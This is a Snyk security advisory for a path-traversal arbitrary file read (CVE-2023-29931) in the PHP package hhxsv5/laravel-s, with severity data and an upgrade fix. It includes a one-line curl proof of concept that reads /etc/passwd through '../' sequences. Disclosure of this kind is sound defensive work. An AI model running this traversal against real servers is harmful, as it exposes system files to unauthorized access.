Arbitrary File Read Affecting hhxsv5/laravel-s package, versions <3.7.36


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.9% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-HHXSV5LARAVELS-5734232
  • published23 Jun 2023
  • disclosed22 Jun 2023
  • creditzhazhami

Introduced: 22 Jun 2023

CVE-2023-29931  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade hhxsv5/laravel-s to version 3.7.36 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary File Read due to improper user-input sanitization, via the /src/Illuminate/Laravel.php endpoint.

PoC

curl --path-as-is "http://127.0.0.1:5200/../../../../../../etc/passwd"

CVSS Base Scores

version 3.1